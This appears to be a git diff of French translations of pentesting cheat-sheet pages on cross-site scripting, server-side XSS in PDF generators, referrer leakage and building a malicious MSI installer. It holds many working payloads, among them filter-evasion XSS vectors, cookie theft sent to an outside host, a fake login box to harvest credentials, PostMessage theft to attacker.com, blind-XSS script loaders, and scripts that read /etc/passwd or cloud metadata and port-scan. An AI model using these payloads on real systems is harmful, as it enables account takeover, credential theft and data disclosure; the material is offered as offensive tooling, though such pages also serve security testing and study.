Si vous **ne pouvez pas échapper de la balise**, vous pourriez créer de nouveaux attributs à l'intérieur de la balise pour essayer d'exécuter du code JS, par exemple en utilisant une charge utile comme (_notez que dans cet exemple, des guillemets doubles sont utilisés pour échapper de l'attribut, vous n'en aurez pas besoin si votre entrée est reflétée directement à l'intérieur de la balise_) :
|
||||
Si vous **ne pouvez pas échapper de la balise**, vous pourriez créer de nouveaux attributs à l'intérieur de la balise pour essayer d'exécuter du code JS, par exemple en utilisant une charge utile comme (_notez que dans cet exemple, des guillemets doubles sont utilisés pour échapper de l'attribut, vous n'en aurez pas besoin si votre entrée est reflétée directement à l'intérieur de la balise_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -303,7 +303,7 @@ Notez que **tout type d'encodage HTML est valide** :
|
||||
```
|
||||
### Protocoles spéciaux dans l'attribut
|
||||
|
||||
Vous pouvez utiliser les protocoles **`javascript:`** ou **`data:`** à certains endroits pour **exécuter du code JS arbitraire**. Certains nécessiteront une interaction de l'utilisateur, d'autres non.
|
||||
Là, vous pouvez utiliser les protocoles **`javascript:`** ou **`data:`** à certains endroits pour **exécuter du code JS arbitraire**. Certains nécessiteront une interaction de l'utilisateur, d'autres non.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -326,7 +326,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
**Lieux où vous pouvez injecter ces protocoles**
|
||||
|
||||
**En général**, le protocole `javascript:` peut être **utilisé dans n'importe quelle balise qui accepte l'attribut `href`** et dans **la plupart** des balises qui acceptent l'**attribut `src`** (mais pas `<img`)
|
||||
```markup
|
||||
```html
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
<form action="javascript:alert(1)"><button>send</button></form>
|
||||
@ -351,7 +351,7 @@ _**Dans ce cas, l'encodage HTML et l'astuce d'encodage Unicode de la section pr
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
De plus, il existe une autre **astuce sympa** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée en URL avant d'être exécutée.** Donc, si vous devez **vous échapper** de la **chaîne** en utilisant une **apostrophe** et que vous voyez qu'elle **est encodée en URL**, rappelez-vous que **cela n'a pas d'importance,** elle sera **interprétée** comme une **apostrophe** pendant le **temps d'exécution**.
|
||||
De plus, il existe une autre **astuce sympa** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée en URL avant d'être exécutée.** Donc, si vous devez **vous échapper** de la **chaîne** en utilisant une **apostrophe** et que vous voyez qu'elle **est encodée en URL**, rappelez-vous que **peu importe,** elle sera **interprétée** comme une **apostrophe** pendant le **temps d'exécution**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
@ -377,7 +377,7 @@ Vous pouvez utiliser l'**encodage Hex** et **Octal** à l'intérieur de l'attrib
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Si vous pouvez injecter n'importe quelle URL dans une balise **`<a href=`** arbitraire qui contient les attributs **`target="_blank"` et `rel="opener"`**, consultez **la page suivante pour exploiter ce comportement** :
|
||||
Si vous pouvez injecter n'importe quelle URL dans une balise **`<a href=`** arbitraire qui contient les attributs **`target="_blank" et rel="opener"`**, consultez **la page suivante pour exploiter ce comportement** :
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
@ -422,8 +422,8 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Depuis [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter une **charge utile XSS à l'intérieur d'un attribut caché**, à condition de pouvoir **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison de touches est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut de clé d'accès. Voici le vecteur :
|
||||
```markup
|
||||
Depuis [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter un **payload XSS à l'intérieur d'un attribut caché**, à condition de **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison de touches est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut de clé d'accès. Voici le vecteur :
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**Le payload XSS sera quelque chose comme ceci : `" accesskey="x" onclick="alert(1)" x="`**
|
||||
@ -488,7 +488,7 @@ Si `<>` sont assainis, vous pouvez toujours **échapper la chaîne** où votre e
|
||||
```
|
||||
### Template literals \`\`
|
||||
|
||||
Pour construire des **chaînes** en plus des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela est connu sous le nom de littéraux de modèle car ils permettent d'**imbriquer des expressions JS** en utilisant la syntaxe `${ ... }`.\
|
||||
Pour construire des **chaînes** en plus des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela s'appelle des littéraux de modèle car ils permettent d'**imbriquer des expressions JS** en utilisant la syntaxe `${ ... }`.\
|
||||
Par conséquent, si vous constatez que votre entrée est **réfléchie** à l'intérieur d'une chaîne JS utilisant des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** :
|
||||
|
||||
Cela peut être **abusé** en utilisant :
|
||||
@ -496,15 +496,15 @@ Cela peut être **abusé** en utilisant :
|
||||
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
|
||||
```
|
||||
|
||||
```````````````javascript
|
||||
```javascript
|
||||
// This is valid JS code, because each time the function returns itself it's recalled with ``
|
||||
function loop() {
|
||||
return loop
|
||||
}
|
||||
loop``````````````
|
||||
```````````````
|
||||
loop``
|
||||
```
|
||||
### Exécution de code encodé
|
||||
```markup
|
||||
```html
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
@ -554,7 +554,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**Commentaires JavaScript (provenant de** [**JavaScript Comments**](#javascript-comments) **astuce)**
|
||||
**Commentaires JavaScript (du** [**truc Commentaires JavaScript**](#javascript-comments) **)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
@ -599,7 +599,7 @@ console.log(log)
|
||||
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
|
||||
```
|
||||
**JavaScript sans parenthèses**
|
||||
````javascript
|
||||
```javascript
|
||||
// By setting location
|
||||
window.location='javascript:alert\x281\x29'
|
||||
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
|
||||
@ -672,12 +672,12 @@ try{throw onerror=alert}catch{throw 1}
|
||||
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
|
||||
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
|
||||
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
|
||||
````
|
||||
```
|
||||
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||||
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||||
|
||||
**Appel de fonction arbitraire (alert)**
|
||||
````javascript
|
||||
```javascript
|
||||
//Eval like functions
|
||||
eval('ale'+'rt(1)')
|
||||
setTimeout('ale'+'rt(2)');
|
||||
@ -735,7 +735,7 @@ top['al\145rt'](1)
|
||||
top['al\x65rt'](1)
|
||||
top[8680439..toString(30)](1)
|
||||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||||
````
|
||||
```
|
||||
## **Vulnérabilités DOM**
|
||||
|
||||
Il y a du **code JS** qui utilise des **données contrôlées de manière non sécurisée par un attaquant** comme `location.href`. Un attaquant pourrait en abuser pour exécuter du code JS arbitraire.\
|
||||
@ -782,7 +782,7 @@ Vous pourriez vérifier si les **valeurs réfléchies** sont **normalisées en u
|
||||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
En raison de **l'assignation de masse RoR**, des guillemets sont insérés dans le HTML et ensuite la restriction de guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
|
||||
En raison de **l'attribution de masse RoR**, des guillemets sont insérés dans le HTML et ensuite la restriction de guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
|
||||
Exemple de formulaire ([de ce rapport](https://hackerone.com/reports/709336)), si vous envoyez la charge utile :
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
@ -794,7 +794,7 @@ La paire "Key","Value" sera renvoyée comme ceci :
|
||||
Ensuite, l'attribut onfocus sera inséré et le XSS se produira.
|
||||
|
||||
### Combinaisons spéciales
|
||||
```markup
|
||||
```html
|
||||
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
||||
<input type=image src onerror="prompt(1)">
|
||||
<svg onload=alert(1)//
|
||||
@ -832,7 +832,7 @@ Protocoles connus précédemment : `mailto://`, `//x:1/`, `ws://`, `wss://`, _en
|
||||
|
||||
### Seulement des lettres, des chiffres et des points
|
||||
|
||||
Si vous êtes capable d'indiquer le **callback** que JavaScript va **exécuter** limité à ces caractères. [**Lisez cette section de ce post**](#javascript-function) pour découvrir comment abuser de ce comportement.
|
||||
Si vous êtes en mesure d'indiquer le **callback** que JavaScript va **exécuter** limité à ces caractères. [**Lisez cette section de ce post**](#javascript-function) pour découvrir comment abuser de ce comportement.
|
||||
|
||||
### Types de contenu `<script>` valides pour XSS
|
||||
|
||||
@ -898,9 +898,9 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
Ce comportement a été utilisé dans [**ce rapport**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque à eval afin d'abuser de son déclenchement de XSS.
|
||||
Ce comportement a été utilisé dans [**ce rapport**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque à eval afin d'abuser de son déclenchement d'XSS.
|
||||
|
||||
- [**règles de spéculation**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne comme suit :
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne comme suit :
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
@ -918,14 +918,14 @@ Ce comportement a été utilisé dans [**ce rapport**](https://github.com/zwade/
|
||||
```
|
||||
### Types de contenu Web pour XSS
|
||||
|
||||
(Depuis [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Les types de contenu suivants peuvent exécuter XSS dans tous les navigateurs :
|
||||
(De [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Les types de contenu suivants peuvent exécuter XSS dans tous les navigateurs :
|
||||
|
||||
- text/html
|
||||
- application/xhtml+xml
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? pas dans la liste mais je pense l'avoir vu dans un CTF)
|
||||
- text/plain (?? pas dans la liste mais je pense avoir vu cela dans un CTF)
|
||||
- application/rss+xml (désactivé)
|
||||
- application/atom+xml (désactivé)
|
||||
|
||||
@ -953,7 +953,7 @@ Par exemple, dans [**ce rapport**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA
|
||||
chrome-cache-to-xss.md
|
||||
{{#endref}}
|
||||
|
||||
### Évasion des XS Jails
|
||||
### Évasion des Prisons XS
|
||||
|
||||
Si vous n'avez qu'un ensemble limité de caractères à utiliser, vérifiez ces autres solutions valides pour les problèmes XSJail :
|
||||
```javascript
|
||||
@ -1269,7 +1269,7 @@ Faites en sorte que l'utilisateur navigue sur la page sans quitter un iframe et
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Vous **ne pourrez pas accéder aux cookies depuis JavaScript** si le drapeau HTTPOnly est défini dans le cookie. Mais ici, vous avez [certaines façons de contourner cette protection](../hacking-with-cookies/index.html#httponly) si vous avez de la chance.
|
||||
> Vous **ne pourrez pas accéder aux cookies depuis JavaScript** si le drapeau HTTPOnly est défini dans le cookie. Mais ici, vous avez [certaines façons de contourner cette protection](../hacking-with-cookies/index.html#httponly) si vous avez la chance.
|
||||
|
||||
### Voler le contenu de la page
|
||||
```javascript
|
||||
@ -1365,7 +1365,7 @@ _Courts courtes indiquent un port répondant_ _Des temps plus longs indiquent au
|
||||
Consultez la liste des ports interdits dans Chrome [**ici**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) et dans Firefox [**ici**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Boîte pour demander des identifiants
|
||||
```markup
|
||||
```html
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
### Capture des mots de passe auto-remplis
|
||||
@ -1406,7 +1406,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
|
||||
</script>
|
||||
```
|
||||
### Voler des messages PostMessage
|
||||
```markup
|
||||
```html
|
||||
<img src="https://attacker.com/?" id=message>
|
||||
<script>
|
||||
window.onmessage = function(e){
|
||||
@ -1434,7 +1434,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
|
||||
### Charges utiles XSS aveugles
|
||||
|
||||
Vous pouvez également utiliser : [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
```html
|
||||
"><img src='//domain/xss'>
|
||||
"><script src="//domain/xss.js"></script>
|
||||
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
|
||||
@ -1475,7 +1475,7 @@ Vous pouvez également utiliser : [https://xsshunter.com/](https://xsshunter.com
|
||||
```
|
||||
### Regex - Accéder au contenu caché
|
||||
|
||||
D'après [**cet article**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible d'apprendre que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS dans différents objets. Par exemple, une entrée d'un REGEX est toujours possible à trouver après que la valeur de l'entrée du regex a été supprimée :
|
||||
D'après [**cet article**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible d'apprendre que même si certaines valeurs disparaissent de JS, il est toujours possible de les trouver dans les attributs JS dans différents objets. Par exemple, une entrée d'un REGEX est toujours possible à trouver après que la valeur de l'entrée du regex a été supprimée :
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1502,7 +1502,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
|
||||
### XSS dans Markdown
|
||||
|
||||
Peut-on injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez obtenir XSS ! Vérifiez :
|
||||
Peut injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez obtenir XSS ! Vérifiez :
|
||||
|
||||
{{#ref}}
|
||||
xss-in-markdown.md
|
||||
@ -1520,7 +1520,7 @@ Plus d'informations sur cette technique ici : [**XSLT**](../xslt-server-side-inj
|
||||
### XSS dans un PDF créé dynamiquement
|
||||
|
||||
Si une page web crée un PDF en utilisant des entrées contrôlées par l'utilisateur, vous pouvez essayer de **tromper le bot** qui crée le PDF pour qu'il **exécute du code JS arbitraire**.\
|
||||
Donc, si le **bot créateur de PDF trouve** une sorte de **tags HTML**, il va **les interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **XSS serveur**.
|
||||
Donc, si le **bot créateur de PDF trouve** une sorte de **tags HTML**, il va **les interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **XSS côté serveur**.
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
@ -1543,7 +1543,7 @@ Exemple [**writeup XSS dans Amp4Email dans Gmail**](https://adico.me/post/xss-in
|
||||
### XSS téléchargement de fichiers (svg)
|
||||
|
||||
Téléchargez en tant qu'image un fichier comme celui-ci (provenant de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```markup
|
||||
```html
|
||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||
Content-Length: 574
|
||||
-----------------------------232181429808
|
||||
@ -1561,13 +1561,13 @@ alert(1);
|
||||
-----------------------------232181429808--
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||||
<script type="text/javascript">alert("XSS")</script>
|
||||
</svg>
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<?xml version="1.0" standalone="no"?>
|
||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
|
||||
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
|
||||
|
||||
@ -5,12 +5,12 @@
|
||||
## Server Side XSS (Dynamic PDF)
|
||||
|
||||
Si une page web crée un PDF en utilisant des entrées contrôlées par l'utilisateur, vous pouvez essayer de **tromper le bot** qui crée le PDF pour qu'il **exécute du code JS arbitraire**.\
|
||||
Ainsi, si le **bot créateur de PDF trouve** une sorte de **balises HTML**, il va les **interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **XSS côté serveur**.
|
||||
Ainsi, si le **bot créateur de PDF trouve** une sorte de **balises HTML**, il va les **interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **XSS Serveur**.
|
||||
|
||||
Veuillez noter que les balises `<script></script>` ne fonctionnent pas toujours, donc vous aurez besoin d'une méthode différente pour exécuter JS (par exemple, en abusant de `<img` ).\
|
||||
De plus, notez que dans une exploitation normale, vous serez **capable de voir/télécharger le PDF créé**, donc vous pourrez voir tout ce que vous **écrivez via JS** (en utilisant `document.write()` par exemple). Mais, si vous **ne pouvez pas voir** le PDF créé, vous aurez probablement besoin **d'extraire l'information en faisant des requêtes web vers vous** (Aveugle).
|
||||
De plus, notez que dans une exploitation régulière, vous serez **capable de voir/télécharger le PDF créé**, donc vous pourrez voir tout ce que vous **écrivez via JS** (en utilisant `document.write()` par exemple). Mais, si vous **ne pouvez pas voir** le PDF créé, vous aurez probablement besoin **d'extraire l'information en faisant des requêtes web vers vous** (Blind).
|
||||
|
||||
### Génération de PDF populaire
|
||||
### Popular PDF generation
|
||||
|
||||
- **wkhtmltopdf** est connu pour sa capacité à convertir HTML et CSS en documents PDF, utilisant le moteur de rendu WebKit. Cet outil est disponible en tant qu'utilitaire en ligne de commande open-source, le rendant accessible pour une large gamme d'applications.
|
||||
- **TCPDF** offre une solution robuste au sein de l'écosystème PHP pour la génération de PDF. Il est capable de gérer des images, des graphiques et le chiffrement, montrant sa polyvalence pour créer des documents complexes.
|
||||
@ -21,7 +21,7 @@ De plus, notez que dans une exploitation normale, vous serez **capable de voir/t
|
||||
## Payloads
|
||||
|
||||
### Discovery
|
||||
```markup
|
||||
```html
|
||||
<!-- Basic discovery, Write somthing-->
|
||||
<img src="x" onerror="document.write('test')" />
|
||||
<script>document.write(JSON.stringify(window.location))</script>
|
||||
@ -36,7 +36,7 @@ De plus, notez que dans une exploitation normale, vous serez **capable de voir/t
|
||||
### SVG
|
||||
|
||||
N'importe lequel des payloads précédents ou suivants peut être utilisé à l'intérieur de ce payload SVG. Un iframe accédant au sous-domaine Burpcollab et un autre accédant au point de terminaison des métadonnées sont donnés comme exemples.
|
||||
```markup
|
||||
```html
|
||||
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
||||
<g>
|
||||
<foreignObject width="800" height="500">
|
||||
@ -60,10 +60,10 @@ alert(1);
|
||||
</script>
|
||||
</svg>
|
||||
```
|
||||
Vous pouvez trouver beaucoup **d'autres charges utiles SVG** sur [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
Vous pouvez trouver beaucoup **d'autres charges utiles SVG** dans [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
### Divulgation de chemin
|
||||
```markup
|
||||
```html
|
||||
<!-- If the bot is accessing a file:// path, you will discover the internal path
|
||||
if not, you will at least have wich path the bot is accessing -->
|
||||
<img src="x" onerror="document.write(window.location)" />
|
||||
@ -72,7 +72,7 @@ if not, you will at least have wich path the bot is accessing -->
|
||||
### Charger un script externe
|
||||
|
||||
La meilleure façon conforme d'exploiter cette vulnérabilité est d'abuser de la vulnérabilité pour faire en sorte que le bot charge un script que vous contrôlez localement. Ensuite, vous pourrez modifier le payload localement et faire en sorte que le bot le charge avec le même code à chaque fois.
|
||||
```markup
|
||||
```html
|
||||
<script src="http://attacker.com/myscripts.js"></script>
|
||||
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
||||
```
|
||||
@ -82,7 +82,7 @@ La meilleure façon conforme d'exploiter cette vulnérabilité est d'abuser de l
|
||||
> Changez `file:///etc/passwd` par `http://169.254.169.254/latest/user-data` par exemple pour **essayer d'accéder à une page web externe (SSRF)**.
|
||||
>
|
||||
> Si SSRF est autorisé, mais que vous **ne pouvez pas atteindre** un domaine ou une IP intéressants, [vérifiez cette page pour des contournements potentiels](../ssrf-server-side-request-forgery/url-format-bypass.md).
|
||||
```markup
|
||||
```html
|
||||
<script>
|
||||
x=new XMLHttpRequest;
|
||||
x.onload=function(){document.write(btoa(this.responseText))};
|
||||
@ -90,7 +90,7 @@ x.open("GET","file:///etc/passwd");x.send();
|
||||
</script>
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<script>
|
||||
xhzeem = new XMLHttpRequest();
|
||||
xhzeem.onload = function(){document.write(this.responseText);}
|
||||
@ -100,7 +100,7 @@ xhzeem.send();
|
||||
</script>
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<iframe src=file:///etc/passwd></iframe>
|
||||
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
|
||||
<link rel=attachment href="file:///root/secret.txt">
|
||||
@ -112,11 +112,11 @@ xhzeem.send();
|
||||
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
|
||||
```
|
||||
### Délai du bot
|
||||
```markup
|
||||
```html
|
||||
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
|
||||
<script>
|
||||
let time = 500;
|
||||
@ -129,7 +129,7 @@ time += 500;
|
||||
<img src="https://attacker.com/delay">
|
||||
```
|
||||
### Scan de Port
|
||||
```markup
|
||||
```html
|
||||
<!--Scan local port and receive a ping indicating which ones are found-->
|
||||
<script>
|
||||
const checkPort = (port) => {
|
||||
@ -149,7 +149,7 @@ checkPort(i);
|
||||
|
||||
Cette vulnérabilité peut être transformée très facilement en SSRF (car vous pouvez faire en sorte que le script charge des ressources externes). Alors essayez simplement de l'exploiter (lire des métadonnées ?).
|
||||
|
||||
### Attachments : PD4ML
|
||||
### Attachments: PD4ML
|
||||
|
||||
Il existe des moteurs HTML 2 PDF qui permettent de **spécifier des pièces jointes pour le PDF**, comme **PD4ML**. Vous pouvez abuser de cette fonctionnalité pour **joindre n'importe quel fichier local** au PDF.\
|
||||
Pour ouvrir la pièce jointe, j'ai ouvert le fichier avec **Firefox et double-cliqué sur le symbole du trombone** pour **enregistrer la pièce jointe** en tant que nouveau fichier.\
|
||||
|
||||
@ -1,12 +1,12 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# En-têtes et politique de référent
|
||||
# En-têtes de référent et politique
|
||||
|
||||
Le référent est l'en-tête utilisé par les navigateurs pour indiquer quelle était la page précédente visitée.
|
||||
|
||||
## Informations sensibles divulguées
|
||||
|
||||
Si à un moment donné à l'intérieur d'une page web, des informations sensibles se trouvent dans les paramètres de la requête GET, si la page contient des liens vers des sources externes ou si un attaquant est capable de faire/suggérer (ingénierie sociale) à l'utilisateur de visiter une URL contrôlée par l'attaquant. Il pourrait être en mesure d'exfiltrer les informations sensibles contenues dans la dernière requête GET.
|
||||
Si à un moment donné à l'intérieur d'une page web, des informations sensibles se trouvent dans les paramètres de requête GET, si la page contient des liens vers des sources externes ou si un attaquant est capable de faire/suggérer (ingénierie sociale) à l'utilisateur de visiter une URL contrôlée par l'attaquant. Il pourrait être en mesure d'exfiltrer les informations sensibles à l'intérieur de la dernière requête GET.
|
||||
|
||||
## Atténuation
|
||||
|
||||
@ -24,12 +24,12 @@ Referrer-Policy: unsafe-url
|
||||
## Contre-mesures
|
||||
|
||||
Vous pouvez contourner cette règle en utilisant une balise meta HTML (l'attaquant doit exploiter une injection HTML) :
|
||||
```markup
|
||||
```html
|
||||
<meta name="referrer" content="unsafe-url">
|
||||
<img src="https://attacker.com">
|
||||
```
|
||||
## Défense
|
||||
|
||||
Ne mettez jamais de données sensibles dans les paramètres GET ou les chemins dans l'URL.
|
||||
Never put any sensitive data inside GET parameters or paths in the URL.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -7,7 +7,7 @@ La création de l'installateur MSI se fera en utilisant wixtools, spécifiquemen
|
||||
Pour une compréhension complète des exemples d'utilisation de wix MSI, il est conseillé de consulter [cette page](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Ici, vous pouvez trouver divers exemples qui démontrent l'utilisation de wix MSI.
|
||||
|
||||
L'objectif est de générer un MSI qui exécutera le fichier lnk. Afin d'y parvenir, le code XML suivant pourrait être utilisé ([xml from here](https://0xrick.github.io/hack-the-box/ethereal/index.html#Creating-Malicious-msi-and-getting-root)):
|
||||
```markup
|
||||
```html
|
||||
<?xml version="1.0"?>
|
||||
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
|
||||
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
|
||||
@ -40,13 +40,13 @@ fail_here
|
||||
```
|
||||
Il est important de noter que l'élément Package contient des attributs tels que InstallerVersion et Compressed, spécifiant la version de l'installateur et indiquant si le package est compressé ou non, respectivement.
|
||||
|
||||
Le processus de création implique l'utilisation de candle.exe, un outil de wixtools, pour générer un wixobject à partir de msi.xml. La commande suivante doit être exécutée :
|
||||
Le processus de création implique d'utiliser candle.exe, un outil de wixtools, pour générer un wixobject à partir de msi.xml. La commande suivante doit être exécutée :
|
||||
```
|
||||
candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
|
||||
```
|
||||
De plus, il convient de mentionner qu'une image est fournie dans le post, qui illustre la commande et sa sortie. Vous pouvez vous y référer pour une guidance visuelle.
|
||||
|
||||
En outre, light.exe, un autre outil de wixtools, sera utilisé pour créer le fichier MSI à partir de l'objet wix. La commande à exécuter est la suivante :
|
||||
En outre, light.exe, un autre outil de wixtools, sera utilisé pour créer le fichier MSI à partir de l'wixobject. La commande à exécuter est la suivante :
|
||||
```
|
||||
light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
|
||||
```
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user